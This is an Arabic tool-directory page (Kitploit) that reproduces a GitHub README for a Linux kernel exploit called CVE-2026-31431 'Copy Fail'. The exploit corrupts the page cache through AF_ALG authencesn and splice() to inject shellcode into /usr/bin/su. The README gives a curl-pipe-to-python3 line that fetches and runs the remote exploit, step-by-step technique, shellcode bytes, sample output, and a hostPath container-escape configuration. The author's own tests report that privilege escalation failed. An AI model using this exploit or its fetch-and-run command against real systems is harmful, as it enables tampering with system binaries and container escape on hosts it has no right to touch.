Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-31431 — استغلال لثغرة CVE-2026-31431 في نواة لينكس تسبب تلفًا في ذاكرة التخزين المؤقت للصفحات عبر التلاعب بـ authencesn AEAD، مستهدفةً تصعيد الامتيازات في الحاويات وبيئات OpenShift. | Kitploit
أدوات/GitHubGitHub/seanrickerd/cve-2026-31431
أمن البنية التحتية السحابيةتصعيد الامتيازاتأمن الحاوياتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاستغلال الملفات الثنائية
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

استغلال لثغرة CVE-2026-31431 في نواة لينكس تسبب تلفًا في ذاكرة التخزين المؤقت للصفحات عبر التلاعب بـ authencesn AEAD، مستهدفةً تصعيد الامتيازات في الحاويات وبيئات OpenShift.

عرض المستودع
12518منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-31431 "Copy Fail" - ثغرة تلف ذاكرة التخزين المؤقت للصفحات

تلف ذاكرة التخزين المؤقت للصفحات في نواة لينكس عبر معالجة authencesn AEAD.

⚠️ مهم: تحديث حالة الاستغلال (1 مايو 2026)

بعد اختبارات مكثفة على مجموعات متعددة من OpenShift 4.20.16 مع أنوية RHEL 9.6:

  • ✅ تلف ذاكرة التخزين المؤقت للصفحات: مؤكد - تم حقن كود شل بحجم 160 بايت بنجاح
  • ✅ ثغرة النواة: قابلة للاستغلال من حاويات غير مميزة (بدون صلاحيات)
  • ❌ تصعيد الامتيازات: لم يتحقق - يبقى UID دون تغيير رغم تلف ذاكرة التخزين المؤقت
  • ❌ تنفيذ الكود: لم يُلاحظ - الصفحات المعدلة تظهر في القراءات لكنها لا تُنفَّذ
  • ✅ SCC Restricted-v2: فعّال - يمنع الهروب من الحاوية ويحد من نطاق الانفجار

راجع قسم نتائج الاختبار الشاملة للحصول على التفاصيل الكاملة.


نظرة عامة

CVE-2026-31431 هي ثغرة في نواة لينكس في تطبيق التشفير authencesn AEAD تسمح للعمليات غير المميزة بتلف ذاكرة التخزين المؤقت للصفحات للملفات القابلة للقراءة عبر مقابس AF_ALG ومعالجة استدعاء النظام splice().

تُظهر الاختبارات: تلف ذاكرة التخزين المؤقت للصفحات يعمل بشكل موثوق، لكن تصعيد الامتيازات لا يحدث على أنوية RHEL 9.6 في بيئات الاختبار لدينا.

درجة CVSS: 7.8 (عالية)
المتأثر: إصدارات نواة لينكس مع دعم authencesn (2017-2026)
الإفصاح العام: 29 أبريل 2026

الميزات

  • متوافق مع Python 3.9+: يتضمن غلاف استدعاء النظام splice() عبر ctypes
  • قابل للنقل: يعمل على أي نظام لينكس بنواة قابلة للاستغلال
  • موثوق: لا يتطلب شروط سباق
  • نظيف: كود شل بحجم 160 بايت، استغلال حتمي

المتطلبات

  • نواة لينكس مع تطبيق authencesn القابل للاستغلال (قبل تصحيح أبريل 2026)
  • Python 3.9+
  • وصول مستخدم غير مميز
  • ملف setuid قابل للقراءة (الافتراضي: /usr/bin/su)

الاستخدام

الاستخدام الأساسي```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

### من ملف محلي```bash
python3 exploit.py
su

السلوك الفعلي للاستغلال (بناءً على الاختبار)

ما الذي سيحدث:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

**التحقق من ذاكرة التخزين المؤقت للصفحات (يؤكد التلف):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

ما الذي لن يحدث (بناءً على الاختبارات):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

**الخلاصة:** نجاح تلف ذاكرة التخزين المؤقت للصفحات، لكن فشل تصعيد الامتيازات.

## التفاصيل الفنية

### الثغرة

تنفيذ `authencesn` (التشفير المصادق مع البيانات المرتبطة - رقم التسلسل الموسع) في نواة لينكس يحتوي على خلل في معالجة العمليات في المكان (in-place). عند معالجة عمليات AEAD المُرسلة عبر مقبس AF_ALG، يمكن أن تنتهي صفحة من ذاكرة التخزين المؤقت للصفحات في قائمة التشتت (scatterlist) القابلة للكتابة الخاصة بالنواة.

### تقنية الاستغلال

1. **إنشاء مقبس AF_ALG** مع `authencesn(hmac(sha256),cbc(aes))`
2. **تكوين معاملات AEAD** (المفتاح، حجم المصادقة)
3. **فتح ملف ثنائي setuid مستهدف** (مثل `/usr/bin/su`)
4. **استخدام splice()** لإدخال الملف الثنائي إلى ذاكرة التخزين المؤقت للصفحات
5. **تشغيل عملية AEAD في المكان** مما يسبب الكتابة إلى ذاكرة التخزين المؤقت للصفحات
6. **كتابة الشيلكود** 4 بايتات في كل مرة
7. **تنفيذ الملف الثنائي المعدل** للحصول على صلاحيات الجذر

### الشيلكود

يستخدم الاستغلال شيلكود بحجم 160 بايت يقوم بتعديل `/usr/bin/su` من أجل:
- تخطي مصادقة كلمة المرور
- منح وصول إلى شل بصلاحيات الجذر
- الحفاظ على الوظائف الطبيعية للمستخدمين غير المميزين

## التوافق مع بايثون 3.9

لا تتوفر دالة `os.splice()` في المكتبة القياسية لبايثون 3.9 والإصدارات الأقدم. يتضمن هذا الاستغلال تنفيذًا قائمًا على ctypes:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

هذا يجعل الاستغلال يعمل على:

  • ✅ بايثون 3.9 (RHEL 9، Ubuntu 20.04، وغيرها)
  • ✅ بايثون 3.10+
  • ✅ أي إصدار بايثون يدعم ctypes

نتائج الاختبار الشاملة

بيئة الاختبار 1: مجموعة OpenShift 4.20.16 (الاختبار الأول)

تكوين العقدة:

  • النواة: 5.14.0-570.96.1.el9_6.x86_64 (RHEL CoreOS 9.6)
  • OpenShift: 4.20.16
  • SCC: restricted-v2 (الأكثر تقييدًا)
  • UID: 1000830000 (مساحة اسم المستخدم)
  • الصلاحيات: 0x0000000000000000 (صفر)

نتائج الاختبار:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

### بيئة الاختبار 2: مجموعة OpenShift جديدة (اختبار التحقق)

**المجموعة:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**تكوين العقدة:**
- النواة: 5.14.0-570.96.1.el9_6.x86_64 (مطابقة لاختبار 1)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (تم التحقق)
- UID: 1000810000 (مساحة اسم المستخدم)
- القدرات: 0x0000000000000000 (صفر)

**نتائج الاختبار:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

الاتساق: نتائج قابلة لإعادة الإنتاج بنسبة 100% عبر مجموعات مستقلة

اختبار الهروب من الحاوية

السيناريو أ: مع وحدة تخزين hostPath (الهروب من الحاوية ممكن)```yaml volumes:

  • name: host-usr hostPath: path: /usr
نتيجة: ✅ **هروب الحاوية** - يعدّل ذاكرة التخزين المؤقت لصفحات المضيف (الجهاز 33، العقدة 4288)

**السيناريو ب: Restricted-v2 SCC (بدون hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

النتيجة: ❌ لا يوجد هروب من الحاوية - يؤثر فقط على طبقة الحاوية (inode منفصل)

النتيجة الحاسمة: الوصول إلى hostPath (وليس الصلاحيات) هو العامل المحدد للهروب من الحاوية.

لماذا يفشل تصعيد الصلاحيات

التفسيرات المحتملة (تتطلب مزيدًا من البحث):

  1. مسارات القراءة مقابل التنفيذ

    • تلف ذاكرة التخزين المؤقت للصفحات يؤثر على عمليات mmap(PROT_READ)
    • تعيينات التنفيذ mmap(PROT_EXEC) قد تتجاوز ذاكرة التخزين المؤقت التالفة
    • قد تستخدم النواة مسارات كود مختلفة للصفحات القابلة للتنفيذ
  2. حمايات الذاكرة

    • فرض W^X (الكتابة XOR التنفيذ)
    • التحقق من صحة صفحات النواة القابلة للتنفيذ
    • فحوصات سلامة الكود في SELinux/AppArmor
  3. خاص بإصدار النواة

    • قد يحتوي RHEL 9.6 (5.14.0-570.96.1) على حمايات إضافية
    • قد يكون البحث الأصلي لـ CVE قد استخدم إصدارات نواة مختلفة
    • قد يختلف السلوك عبر إصدارات النواة

ما يعمل فعليًا

الاختبارOpenShift 4.20 #1OpenShift 4.20 #2الحالة
الوصول إلى مقبس AF_ALG✅✅يعمل
تلف ذاكرة التخزين المؤقت للصفحات✅✅يعمل
حقن شيلكود✅✅يعمل
الشيلكود مرئي (READ)✅✅يعمل
تغيير UID (تصعيد الصلاحيات)❌❌يفشل
تنفيذ الكود❌❌يفشل
الهروب من الحاوية (restricted-v2)❌❌محظور
تنزيل الأداة